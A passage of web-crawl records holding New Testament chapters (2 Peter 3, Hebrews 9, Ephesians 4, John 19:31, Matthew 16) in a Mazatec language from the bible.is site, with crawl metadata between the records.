nó tjín‑ni; ko̱ jè ra jngo jmi nó, 'koa̱á 'sín tsò‑la̱ koni tsa jngo ni̱chjin tjín‑ni. 9Mì tsa tsò‑ni kjoa̱ nga jè Na̱'ín‑ná ijyeé tífichjin‑la̱ nga mì kì tísíhitjasòn jè 'én‑la̱ ra ijye kitsjà koni 'sín tsò i'ka xi̱ta̱; jé‑ní nga batoó tse inìma̱‑la̱ Na̱'ín‑ná nga tíkoñákjoa̱‑ní ra a̱'ta tsa̱jiòn; majìn‑la̱ nga ni̱jngo xi̱ta̱ jchi̱ja, jé mejèn‑la̱ nga nga'tsì xi̱ta̱ katasíkájno‑ni jé‑la̱ nga kátáfa'ta‑la̱ Nainá. 10Tanga jè ni̱chjin‑la̱ Na̱'ín‑ná, 'koa̱á 'sín kj'i̱í koni 'sín 'fiì jngo jè ra xi̱ta̱ chijé. 'Kia̱ nga ki̱jchò ni̱chjin, jè ngajmi ta indaá jchi̱ja ko̱ taxki̱ 'choó ki̱ná'ya‑la̱ koni 'sín nga ko̱ma. Jñà nitse, jè tsá'bí, ko̱ jè sá ngi ta ni'í ko̱nandá‑ni. Ko̱ jè nangi ko̱ ta mé‑isa‑nioo̱ ra tjín a̱'ta nangi, jngo 'ká jti̱. 11Nga̱ xá 'koa̱á 'sín tjínè‑la̱ nga kje̱hesòn nga'tsì tsajmì ra tjín. ¿A mí tsa tjínè‑la̱ nga isa̱ tsje si̱jchá jiòn ijo‑no?, ko̱ ti̱'koa̱ isa̱ nda jcha̱xkón jiòn Nainá nga ni̱chjin nchijòn, 12nga jchíña‑la nga kj'i̱í jè ni̱chjin 'tse̱ Nainá; ko̱ ko̱'sín kínè‑la ijo‑no nga isa̱ ndi̱to̱n kj'i̱í jè ni̱chjin ra kìi̱, 'kia̱ nga jè ngajmi, jngo kjá ta ya̱á jchi̱ja nga ki̱ti̱; ko̱ nga'tsì tsajmì ra tjín i̱sà'nde, jngo kjá ta ya̱á ko̱nandá nga ki̱ti̱. 13Tanga ra jién, ijyeé ko̱'sín chiñá‑lá jè 'én ra ijye kitsjá‑ná Nainá; nga jngoó ngajmi xi̱tse̱ ko̱ jngo nangi xi̱tse̱ tíjnanda‑ná ra jién, ya̱ ñánda̱ nga ngi ta kjo̱kixi̱í ra 'se̱. 14'Koa̱á ma‑ni jiòn ndí 'ndsé ra 'ñó tsjake̱‑no, tsa ijyeé ko̱'sín i̱nchichiñá‑la jñà kjo̱nda kìi̱, 'ti̱ nga'ñó‑la ijo‑no nga 'nchán ti̱tsa̱jna ko̱ tsje ti̱tsa̱jna mé‑ni nga ni̱mé jé titsa̱jin‑no 'kia̱ nga kj'i̱í india‑ni Jesucristo. 15'Koa̱á 'sín nda katasijin‑no, nga koni 'sín tíkoñákjoa̱ jè Na̱'ín‑ná, kií‑ní nga mejèn‑la̱ nga nga'tsì xi̱ta̱ katitjokàjin kjo̱hi'in. 'Koa̱á 'sín ijye tsikínda‑te‑no xa̱jo̱n jè 'ndsé Pablo ra 'ñó matsjacheé, koni 'sín jè Nainá kitsjà‑la̱ kjoa̱chji̱ne̱. 16Kja̱meé ta nga'tsì xa̱jo̱n ra tsikínda jè 'ndsé Pablo ko̱'sín tíchja̱ ra a̱'ta 'tse̱ kjoa̱ kìi̱. Ko̱ tjín i'ka ya̱ ñánda̱ nga 'ñó i'in tíchja̱, ko̱ jñà xi̱ta̱ ra kjè mé be kjin, ko̱ jñà ra mì tsa jngo tjín kjo̱bítsjen‑la̱ síkaatjìyaá‑la̱ koni 'sín nga fìya‑la̱. Ko̱ 'koa̱á ti̱'sín síko̱ ta ñáa̱‑isa xa̱jo̱n‑la̱ Nainá. 'Kia̱ nga ko̱'sín 'sín, ti̱jñá i̱nchisíjchija‑ni ijo‑la̱. 17'Koa̱á ma‑ni jiòn ndí 'ndsé ra 'ñó tsjake̱‑no, 'kia̱ nga ijye tjíjin‑no ra a̱'ta 'tse̱ kjoa̱ kìi̱, nda ti̱kinda̱a ijo‑no, mé‑ni nga mì ya̱ ki̱ì'ndo̱‑no nga ya̱ i̱ko̱‑no ndi̱yá ndiso‑la̱ jñà xi̱ta̱ ra 'ñó 'cho tjín kjoa̱ ra 'sín. Ko̱ tsa ya̱ ska̱jiòn kjoa̱ ndiso‑la̱, si̱jchija‑no koni 'sín nga kixi̱ tincha a̱'ta 'tse̱ Nainá. 18Ya̱á isa̱ nda katajchájin jiòn a̱'ta 'tse̱ kjo̱bítsjen ko̱ kjo̱nda ra tsjá‑no jè Jesucristo ra tíjna ítjòn‑ná ko̱ ra bachrjekàjin‑ná kjo̱hi'in. Ko̱'sín jeya katijna ra jè, 'ndi̱ 'ndi̱ ko̱ skanda ta mé ni̱chjin‑nioo̱. Ko̱'sín katama.\n2 Pedro 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Pet\/3","date":"2013-12-09T13:05:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163972679\/warc\/CC-MAIN-20131204133252-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":696,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ ra tsikíndajín ítjòn Nainá ki'seé‑la̱ kjo̱téxoma kó'sín nga jeya si̱kíjna Nainá, ko̱ ti̱'koa̱á kisijnaá jngo‑te ni'ya tsje‑la̱ i̱ a̱'ta nangi. 2Jè Ni'ya nikje ra Tsje ra 'tse̱ Nainá, 'koa̱á 'sín tjínda nga tíjna ítjòn jngo‑la̱ i̱'nde ra 'mì I̱'nde Tsje ñánda̱ tíjna jè ki̱cha̱ oro ra kjìn chrji̱ tjín‑la̱ ra sincháya ni'í nga tì, ko̱ jè ímixa̱ ra sinchásòn ni̱ño̱ nchra̱jín tsje‑la̱ Nainá. 3Ya̱ a̱jto̱n‑la̱ nikje ra tjo̱'bángi ra ma‑ni jò, ya̱á kjijna jè i̱'nde ra 'mì I̱'nde ra Bato 'Ñó Tsje. 4Ya̱ i̱'nde ra̱kìi̱, ya̱á tíjna jngo kàxa̱ ra ngi ki̱cha̱ sinè ra tìsòn chrjongó Nainá; ko̱ ti̱'koa̱á ya̱á kjijna kàxa̱ ra ngi ki̱cha̱ sinè ijàjno jè ra tjíya jñà tsajmì ra bakón kjoa̱ ra tsikíndajín Nainá. Kàxa̱ ra̱kìi̱, ya̱á tíjnaya jngo ti̱jí ra ngi ki̱cha̱ sinè ñánda̱ i̱jncha ni̱ño̱ nchra̱jín ra 'mì maná; ti̱'koa̱á ya̱á kjinaya yá koròti̱‑la̱ Aarón ra tsikí'jtsén ko̱ jñà na̱jo̱ te ra tjí'ta kjo̱téxoma‑la̱ Nainá ra itjábé‑la̱ Moisés. 5Ya̱ a̱sòn kàxa̱ i̱ncha i̱sén‑la̱ ìkja̱li̱ ra tjín‑la̱ na̱jngá ra bakón chi̱ya kjoa̱jeya‑la̱ Nainá; jñà na̱jngá‑la̱ ya̱á bíjtsa'ma jè kàxa̱; tanga 'ndi̱ 'ndi̱, mì kì machjeén nga jndà jndà ki̱nákje̱é ra a̱'ta 'tse̱ kjoa̱ kìi̱. 6'Kia̱ nga ijye ko̱'sín isinchanda tsajmì kìi̱, jñà na̱'mì kji'tá ni̱chjin 'faha'sen ya̱ Ni'ya Tsje‑la̱ Nainá ra nikje, ya̱ i̱'nde ra tíjna ítjòn nga síhitjasòn xá‑la̱ nga bexkón Nainá. 7Tanga jè i̱'nde ra bijchó jò‑ni, ta jè ta̱jngo na̱'mì ítjòn ma 'faha'sen, ko̱ ta indiaá ma 'faha'sen nga jngó jngó nó; ko̱ 'kia̱ nga 'faha'sen, tjínè‑la̱ nga jní‑la̱ cho̱ 'ba ra tsjá‑la̱ Nainá ta nga̱tjì‑la̱ kjoa̱ 'tse̱ jé‑la̱ ko̱ ta nga̱tjì‑la̱ nga'tsì jé ra tjín‑la̱ xi̱ta̱ na̱xi̱ndá, jñà jé ra nda mí be kó'sín nga kàjin. 8'Koa̱á 'sín síchi̱ya‑ná jè Inìma̱ Tsje‑la̱ Nainá, 'kia̱ nga takó jè tímachjeén jè Ni'ya Tsje ra Nikje ra isinda ítjòn, kjè kì tjáxa̱'nde nga ko̱ma ki̱tjáha̱'se̱én jè I̱'nde ra isa̱ 'Ñó Tsje. 9Jñà kjoa̱ ra kjomà kjotseé ta tsakón chi̱yaá jè kjoa̱ ra tíma ni̱chjin 'ndi̱; nga̱ jñà kjo̱tjò ko̱ jní‑la̱ 'cho ra ixaájten ya̱ i̱'nde jè, tsìn‑la̱ nga'ñó nga ngi india kjón si̱ìtsje kjo̱bítsjen‑la̱ xi̱ta̱, jñà ra ko̱'sín bexkón Nainá. 10Kjoa̱ kìi̱, ta kjo̱téxoma ra a̱'ta 'tse̱ ijo‑la̱ xi̱ta̱‑ní, 'tse̱é tsajmì ra ma chine ko̱ ra ma 'yò, ko̱ kó'sín nga sítsje ijo‑la̱ xi̱ta̱; ta 'koa̱á 'sín tje̱n ko̱chjeén skanda 'kia̱ nga jè Nainá si̱ìkaatjìya‑la̱ nga'tsì kjoa̱ kìi̱. 11Tanga 'kia̱ nga ijye 'ji jè Cristo ra na̱'mì ítjòn tíjna a̱'ta 'tse̱ kjo̱nda‑la̱ Nainá ra ijye tíma, ya̱á 'jaha'sen Ni'ya Tsje‑la̱ Nainá ra isa̱ 'ñó nda chon ko̱ ra isa̱ kixi̱ tjín nga̱ mì tsa tsja xi̱ta̱ isinda‑ni, jè ra tsò‑ni kjoa̱ nga mì tsa i̱ kisinda a̱'ta nangi. 12Jè Cristo ngi indiaá 'jaha'sen skanda ta kjiá‑nioo̱ ya̱ I̱'nde Tsje; ko̱ mì tsa ti̱ jní‑la̱ tíndsó ko̱ jní‑la̱ nchra̱ja̱ isìchjeén‑ni nga ma 'jaha'sen; ngi 'tse̱ kjón‑ní jní ra isìchjeén nga ma 'jaha'sen; 'koa̱á 'sín ki'sìn nga tsikíchjítjì jé‑ná mé‑ni nga ma si̱ìkítsa̱jnandi̱í‑ná ta mé ni̱chjin‑nioo̱. 13Tsa jñá‑la jní‑la̱ nchra̱ja̱ ko̱ jní‑la̱ tíndsó ko̱ chijo‑la̱ nchra̱ja̱ chjo̱ón i'ndí ra kitì, matsje-sòn'nga‑ni ijo‑la̱ xi̱ta̱ ra maxa̱'ya̱ 'kia̱ nga xaájten‑jnó, 14isa̱á ta tse nga'ñó tjín‑la̱ jè jní‑la̱ Cristo. Nga̱ ngi ko̱ó nga'ñó‑la̱ Inìma̱ Tsje ra tíjnakon nda tà mé ni̱chjin‑nioo̱, nga kisìnga̱tsja ijo‑la̱ Nainá koni jngo kjo̱tjò ra nì ta̱ mé jé tjín‑la̱. Jé jní‑la̱ Cristo si̱ìtsje‑ni kjo̱bítsjen‑no nga kjoa̱áxìn‑no jè kjoa̱'cho ra kjo̱biya kji'ta‑la̱ mé‑ni nga ya̱ si̱xá'ta‑la Nainá ra tíjnakon. 15'Koa̱á ma‑ni, nga jé Cristo ra basèn‑jin masen 'kia̱ nga sindajín jngo kjoa̱ xi̱tse̱; 'kia̱ nga 'ken, jè tsikíchjítjì jé‑la̱ xi̱ta̱ ra tsakátsji 'kia̱ nga ti̱'sa̱ jè tíbatéxoma kjoa̱ ra isindajín ítjòn, mé‑ní nga jñà ra xá inakjoá‑la̱, tjábé‑la̱ koni 'sín nga kitsjà‑la̱ tsa'ba Nainá jè kjo̱tjò ra mì kì fehe'ta skanda ta kjiá‑nioo̱. 16'Kia̱ nga jngo xi̱ta̱ síka'bí tsajmì ra tjín‑la̱, bínda jngo xa̱jo̱n ra bájna masen [ra 'mì testamento]. Tanga skanda 'kia̱á ma machjeén xa̱jo̱n ra̱kìi̱ 'kia̱ nga ijye biya jè xi̱ta̱ ra tsikínda. 17Tanga jè xa̱jo̱n ra̱kìi̱, mì kì mé chjí‑la̱ 'kia̱ nga takó tíjnakon‑isa jè xi̱ta̱ ra tsikínda, skanda 'kia̱á chjí‑la̱, 'kia̱ nga ijye ki̱yá. 18Jè kjoa̱ ra kisindajín ítjòn, 'koa̱á ti̱'sín ko̱ kjoa̱biyaá kisindajín‑te‑ni nga jní‑la̱ cho̱ kjochjeén. 19Moisés, 'kia̱ nga ijye tsi'kéna̱jmíya nga'tsì kjo̱téxoma‑la̱ Nainá ya̱ a̱jin‑la̱ xi̱ta̱ na̱xi̱ndá, iskábé jní‑la̱ tíndsó ko̱ jní‑la̱ nchra̱ja̱ i'ndí ko̱ isíkójin nandá, ko̱ iskábé tsja̱‑la̱ forrè ra inì kjòn ko̱ jngo chrja‑la̱ yá ra 'mì hisopo; a̱kjòn tsjahíjin ya̱ jní, ko̱ a̱kjòn tsikíxten‑jnó jè xa̱jo̱n ra tjí'ta kjo̱téxoma‑la̱ Nainá; ra ijye kjomà, tsikíxten‑jnó‑te nga'tsì jñà xi̱ta̱ na̱xi̱ndá. 20Jè Moisés kitsò: \"Jè jní ra̱kìi̱ ra síkixi̱ya kjoa̱ ra tsikíndajín‑ko̱‑no Nainá, jè kjo̱hixi̱ ra kitsjà‑no nga si̱itjasòn.\" 21Moisés ti̱'koa̱á tsikíxten‑jnó‑te jní ya̱ Ni'ya Tsje‑la̱ Nainá ra nikje ko̱ nga'tsì tsajmì ra machjeén 'kia̱ nga 'yaxkón. 22Koni 'sín tíchja̱ jè xa̱jo̱n ra tjí'ta kjo̱téxoma‑la̱ Nainá, kja̱meé nga'tsì tsajmì, saba jní matsje ijye‑ni; tsa mì kì xa̱ájten jní, tsìn ra 'mì kjoa̱nìhijcha'ta ra a̱'ta 'tse̱ jé. 23'Koa̱á ma‑ni nga tjínè‑la̱ nga jní‑la̱ cho̱ kjotsje‑ni jñà tsajmì kìi̱ ra xkósòn‑la̱ tsajmì ra tjín ya̱ ján ngajmi; tanga jñá kjón‑ní tsajmì ra tjín ya̱ ján ngajmi, jé machjeén‑la̱ nga xa̱ájten jní ra isa̱ 'ñó nda tjín nga ma ko̱tsje‑ni. 24Tanga jè Cristo mì tsa ya̱ 'jaha'sen ya̱ Ni'ya Nikje Tsje ra ta tsja xi̱ta̱ isinda‑ni ra ta xkósòn‑la̱ Ni'ya Tsje‑la̱ Nainá ra kjijna ján ngajmi. Tanga ngi ya̱ kjón 'jaha'sen ya̱ ján ngajmi nga ijchò ya̱ ngixko̱n Nainá nga tíchja̱tjì‑ná. 25Mì kì tsa ko̱'sín kjìn 'ka̱ 'jaha'sen ya̱ ján ngajmi nga kjìn 'ka̱ kitsjà kjo̱tjò ijo‑la̱, koni 'sín 'sín jngo na̱'mì ítjòn nga xki̱ nó 'faha'sen ya̱ I̱'nde ra Bato 'Ñó Tsje nga 'faha'sen‑ko̱ jní ra mì tsa 'tse̱. 26Tsa 'koa̱à‑la 'sín tjínè‑la̱ nga ko̱'sín ko̱ma tsiki, jè Cristo, kjín‑la 'ka̱ tsatojin kjo̱hi'in skanda 'kia̱‑ni isinda i̱sà'nde. Tanga 'ndi̱ 'ndi̱, nga ijye tífehe'ta ni̱chjin, ta india kjón‑ní ko̱'sín kitsjà ijo‑la̱ skanda ta kjiá‑nioo̱ nga ko̱'sín jè saba jní‑la̱ tsikíxten mé‑ni nga tsjahíxìn‑ni kjoa̱ 'tse̱ jé. 27'Koa̱á 'sín tjín ra a̱'ta 'tse̱ nga'tsì xi̱ta̱ nga ta india kjón‑ní biya, ko̱ a̱skaán kj'i̱í jè ni̱chjin 'kia̱ nga si̱ndajín‑la̱. 28'Koa̱á ti̱'sín tjín a̱'ta 'tse̱ Cristo; ta indiaá kitsjà kjo̱tjò ijo‑la̱ nga 'ken mé‑ni nga kjìn xi̱ta̱ itjahíxìn‑la̱ jé‑la̱ ra jè ki'tsamíjìn; tanga ra ki̱jchò‑ni jò 'ka̱, mì tsa ti̱ jé 'koa̱míjìn‑ni; kií xá kj'i̱í‑ni nga ko̱chrjekàjin kjo̱hi'in jñà ra i̱nchikoñá‑la̱.\nHebreos 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/9","date":"2013-12-11T00:53:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164028001\/warc\/CC-MAIN-20131204133348-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":1031,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni bitsá'ba‑najiòn, 'a̱n ra nda̱yá tíjna̱'ya ra ta nga̱tjì 'tse̱ Na̱'ín‑ná, ko̱'sín nda 'tia̱àn koni 'sín nga bakèn‑la̱ jè kjoa̱ ra xá inakjoá‑no. 2Kì xi̱ta̱ 'nga ikon 'nià, indakjoa̱ 'tia̱àn; kata'se‑no kjoa̱jetakòn; ngi tà ko̱ó kjo̱tsjacha‑no nga katachíkjoa̱ko̱‑no xàngio̱o. 3Tinè‑la ijo‑no nga ko̱'sín ti̱tsa̱jna ki'ta koni 'sín ijye tsikítsa̱jtín‑no jè Inìma̱ Tsje‑la̱ Nainá, mé‑ni nga ko̱'sín 'nchán ki̱tsa̱jna‑no. 4Nga̱ ta jngoó ijoó ma‑ná jién ra makjiín‑ná, ko̱ ta jngoó‑ni Inìma̱ Tsje ra tjín‑ná; ko̱ jè Nainá, 'koa̱á 'sín kiìchja̱‑ná nga ta jngoó kjoa̱ chiñá‑lá. 5Ta jngoó‑ni jè Na̱'ín‑ná ra tíjna ítjòn‑ná; ta jngoó kjoa̱ tjín‑ni ra makjiín‑ná, ko̱ ta ngásòn isatíndé nga'tsì‑ná, 6ko̱ ta jngo‑ni ra Nainá jè ra Na̱'ín‑ná ma, jè ra tíjna ítjòn‑ná, jè ra síxájin‑ná ko̱ nga tíjnako̱‑ná nga'tsì‑ná. 7Tanga nga jngó jngó‑ná, kja̱ itjábé kja̱ itjábé‑ná jè kjo̱nda‑la̱ Nainá koni 'sín nga kitsjà xá‑ná Cristo. 8Kií ko̱'sín tíchja̱‑ni xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ra a̱'ta 'tse̱ Cristo nga tsò: 'Kia̱ nga ijye kisikijne nga kijìmijìn ya̱ ján i'ngaá, jñà nga'tsì xi̱ta̱ kondra̱‑la̱, ya̱á tsikí'ndo̱fe nga kijìtji̱ngi‑la̱, ko̱ kisìka'bí‑la̱ kjo̱tjò jñà xi̱ta̱‑la̱. 9¿Kó tsò‑ni jè 'én ra tsò: nga kijìmijìn ya̱ ján i'ngaá? Tsò‑ni nga [jè Cristo] ítjòn itjokàjen skanda ya̱ a̱'ta nangi. 10Jè ra itjojen skanda ya̱ a̱'ta nangi, ti̱jé‑ni jè ra kijìmijìn india‑nì ñánda̱ nga isa̱ 'ñó 'nga tsikijna koni nga'tsì ra 'nga títsa̱jna mé‑ni nga jè si̱ìjngo ijye‑ni. 11Jè sabà Jesucristo kitsjà xá‑la̱ nga mé xá ra 'si̱in nga jngó jngó xi̱ta̱. Tjín ra ko̱'sín tsatéxáya‑la̱ nga si̱ìka'bísòn 'én‑la̱, ko̱ tjín jñà ra chja̱ ngajo‑la̱ Nainá, ko̱ tjín jñà ra bako̱‑la̱ nga 'béna̱jmíya 'én nda‑la̱ Cristo, ko̱ tjín jñà ra bako̱‑la̱ nga síkinda̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá, ko̱ tjín jñà ra bako̱‑la̱ nga bakón‑ya jè 'én‑la̱ Nainá. 12Kií ko̱'sín ki'sìn‑ni mé‑ni nga nda katachji̱ne̱‑ni jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá nga nda si̱hitjasòn xá ra 'tse̱ Nainá, ko̱ mé‑ni nga nda katìhijin‑ni jè na̱xi̱ndá‑la̱ Nainá ra jè ijo‑la̱ Cristo. 13'Koa̱á 'sín ma‑ni nga ngi jngoó kjo̱bítsjen 'se̱‑ná nga'tsì‑ná koni 'sín nga makjiín‑ná a̱'ta 'tse̱ Nainá, ko̱ koni 'sín nga 'yaxkeén I'ndí‑la̱, mé‑ni nga ngi xi̱ta̱ kixi̱ ko̱meé. Ngi 'koa̱á 'sín ko̱ngásén koni jè Cristo nga ni̱mé chija'ta‑la̱ ra jè. 14Ko̱ mì tsa ti̱ ko̱'sín 'sia̱n‑né koni tsa i̱xti, nga sasa makjiín‑ná tsa mé 'én ra ki̱ná'yé ra mì tsa kixi̱ kjoa̱, nga jndíi̱ ján fìko̱‑ná xi̱ta̱ maña̱ ra bíndo̱cha̱‑ná nga bakón‑ya ra kj'ií kjoa̱, 'koa̱á jngoya‑la̱ koni tsa chitso, ra jndíi̱ ján mahítsjá tjo̱ ko̱ nga'ñó‑la̱ nandá. 15Ta isa̱á jnchro ngi 'én kixi̱ ki̱nákje̱é nga matsjacheé xàngie̱é, mé‑ni nga isa̱ nda katakasòn‑ni kjo̱bítsjen‑ná koni 'sín tjín kjo̱bítsjen‑la̱ Cristo nga jè tíjna sko̱ na̱xi̱ndá‑la̱ Nainá. 16Jè Cristo tsjá nga'ñó mé‑ni nga jñà xi̱ta̱ na̱xi̱ndá‑la̱ nda kjón kítsa̱hijyojtín‑ni. Nga̱ jè na̱xi̱ndá‑la̱ Nainá, 'koa̱á 'sín tjín koni ijo‑la̱ xi̱ta̱, koni 'sín nga tjíkjo ijo‑la̱ nga kja̱‑tjín kja̱‑tjín xá‑la̱. Tsa nda si̱íxákjo, ki̱hijin‑ní ko̱ 'se̱é‑la̱ nga'ñó. 'Koa̱á 'sín ngoya‑la̱ jè na̱xi̱ndá‑la̱ Nainá nga ki̱hijin kjo̱bítsjen‑la̱ 'kia̱ nga jngó jngó xi̱ta̱‑la̱ nga nda si̱íxákjo, tsa ngásón matsjake xákjién. 17'Koa̱á 'sín tíxian‑no ko̱ tísíjé‑no a̱'ta 'tse̱ kjo̱téxoma ra tsjá‑na Na̱'ín‑ná, kì ti̱ tsja ko̱'sín níjchá‑no ijo‑no koni jñà xi̱ta̱ ra mì kì bexkón Nainá nga jñà síchjeén kjo̱bítsjen‑la̱ ra ni̱mé chjí‑la̱. 18Tjíjñò‑la̱ kjo̱bítsjen‑la̱. Mì kì be kjo̱nda ra tjín a̱'ta 'tse̱ kjo̱binachon ra tsjá‑ná Nainá ta nga̱tjì‑la̱ mì kì machi̱ya‑la̱ nga̱ batoó tájajín jñà inìma̱‑la̱. 19Mì kì ti̱ be‑ni ra kjo̱sabà 'mì, ijyeé bato kjótájajín, ijyeé ta jñà kájno ká'ta‑la̱ kjoa̱chi̱nga̱ ra sasén‑la̱ ijo‑la̱, mì kì masi‑la̱ nga 'sín kjoa̱chijngi ra bato tjé tjín. 20Tanga ra jiòn, mì tsa ko̱'sín tjín kjoa̱ ra ki'sena̱jmí‑no a̱'ta 'tse̱ Cristo. 21Nga̱ ijye nda kina'yá jiòn 'én‑la̱ ko̱ nda tsakon‑ya‑no koni 'sín tjín kjo̱hixi̱ ra a̱'ta 'tse̱ Jesús. 22'Koa̱á 'sín ki'sena̱jmí‑no nga ti̱jmió ijye kjo̱binachon jchínga ra ki'chà‑no skanda ti̱'sa̱ kjotseé ra mì ti̱ mé chjí‑la̱, ta nga̱tjì‑la̱ nga̱ ta tsikíndo̱cha̱á‑no nga'tsì kjoa̱'cho ra kisasèn‑la̱ ijo‑no. 23Ti̱'nde‑la nga jè Nainá katasíxi̱tse̱ya inìma̱‑no ko̱ jè kjo̱bítsjen‑no. 24Ko̱'sín ti̱jchá ijo‑no nga jè chjíbé kjo̱binachon xi̱tse̱ ra ko̱'sín tjín koni 'sín nga 'ki Nainá, nga ngi kixi̱ ti̱jchá ijo‑no ko̱ nga tsje ti̱tsa̱jna ra a̱'ta 'tse̱ kjo̱kixi̱. 25'Koa̱á ma‑ni, ti̱jmí jiòn ra 'én ndiso, ko̱ ngi 'én kixi̱ jchi̱ko̱o xàngio̱o nga jngó jngó‑no nga̱ ta jngoó ijo ma‑ná nga'tsì‑ná. 26Ni̱'sín majti‑no, tanga kì tà chjàn fatsji‑jé; ko̱ kì tà chjàn jngo níchjin majti‑no kó nda nga kàtjì tsá'bí. 27Ko̱ kì bi'nde‑la nga jè xi̱ta̱‑ni̱í bíndisoko̱‑no. 28Jè ra síchijé kjotseé, kì ti̱ síchijé‑ni, katasíxá 'ndi̱‑ni̱, katasíchjeén tsja nga nda katasíxá mé‑ni nga ka̱ma ko̱si̱ko̱'ta‑ni jñà xi̱ta̱ ra tíchija'ta‑la̱. 29Kì ni̱jngo 'én ra 'cho tsò bitjo ya̱ ndsa̱'bà jiòn; jñà ti̱nákjoa̱a 'én ra nda tsò ra ko̱chjeén‑la̱ xi̱ta̱ xàngio̱o nga kixi̱ kítsa̱jna, mé‑ni nga ya̱ sa̱kò‑la̱ kjo̱nda jñà xi̱ta̱ ra kji̱'nchré. 30Kì bi'nde nga ba 'se‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, jè ra kitsjá‑ná koni jngo chi̱ba̱ ra bakón nga xi̱ta̱‑la̱ Nainá meé skanda 'kia̱ nga ki̱jchò ni̱chjin nga jngó kjá si̱ìkítsa̱jnandi̱í‑ná Nainá ra a̱'ta 'tse̱ jé‑ná. 31Chjíixiòn ya̱ a̱jin inìma̱‑no nga'tsì kjoa̱ ra tjíngi jti‑no, ko̱ kjoa̱ kjàn ra tjíjin inìma̱‑no, ko̱ kjo̱jtitakòn‑no, ko̱ ra ta i̱nchimakjàn sabá‑no, ko̱ nga nakjoájno‑la xàngio̱o ko̱ nga'tsì kjoa̱ ra 'cho tjín. 32Jé ra isa̱ nda tjín nga nda xi̱ta̱ ti̱ko̱o xàngio̱o nga jngó jngó‑no ko̱ nga jcha̱hi̱ma̱takòn; ko̱ ti̱jchaà'ta kañá‑la xàngio̱o koni 'sín nga a̱'ta 'tse̱ Cristo isìhijcha'ta‑no Nainá.\nEfesios 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Eph\/4","date":"2013-12-10T13:40:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019268\/warc\/CC-MAIN-20131204133339-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":867,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"31Ni̱chjin ra̱kìi̱, ta jngo ni̱chjin chija‑isa nga ki̱tjo jè 'sí paxko̱, ko̱ jñà xi̱ta̱ judío majìn‑la̱ 'kia̱ nga ni̱chjin níkjáya ya̱ si̱'ta krò ijo‑la̱ ndí mi'ken, nga̱ jè 'sí paxko̱ 'ñó xkón. 'Koa̱á 'sín kjomà‑ni nga jñà xi̱ta̱ tsikítsa'ba‑la̱ jè Pilato nga katatsjá kjo̱hixi̱ mé‑ni nga katakján‑ni jñà ninda xkó‑la̱ jñà xi̱ta̱ ra kji'ta krò, ko̱ a̱kjòn katatjahíxìn jñà ijo‑la̱.\nSan Juan 19:31\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/19\/31","date":"2013-12-10T05:18:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164009872\/warc\/CC-MAIN-20131204133329-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":65,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo kiìkon Jesús ñánda tíjna nga mejèn‑la̱ skót'aà tsà kixi̱ kjoa̱ nga Nainá kisìkasén. Kisìjé jngoò‑la̱ seña xi jeya tjín xi i̱t'aà ts'e̱ Nainá nchrobá‑ne. 2Ta̱nga Jesús kitsò‑la̱: ―K'e̱ nga jye mahixòn, jñò, bixón‑nò: \"Ndaà choòn nchijòn‑lè, inì choòn ján ngajmiì.\" 3K'e̱ nga ta̱jñòya bixón‑nò: \"Mìkiì ndaà choòn na̱chrjein i̱'ndei̱; ngajmiì inì choòn ko̱ ifi kjiya.\" Jñò xi jò ma i̱sén‑nò, 'ya‑nò kó choòn ngajmiì ta̱nga mìkiì fìya‑nò kó tsòya‑ne kjo̱xkón xi tíma na̱chrjein i̱'ndei̱. 4Jñà xi̱ta̱ ts'e̱n ko̱ xi̱ta̱ xi mìkiì 'nchréñijon‑la̱ Nainá, jngoò seña síjé xi jeya tjín; ta̱nga ni̱mé seña skoe̱, tà jè skoe̱ ts'e̱ Jonás, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Jesús ya̱á kisìkítsa̱jna xi̱ta̱ koi; jè, kiì‑né. 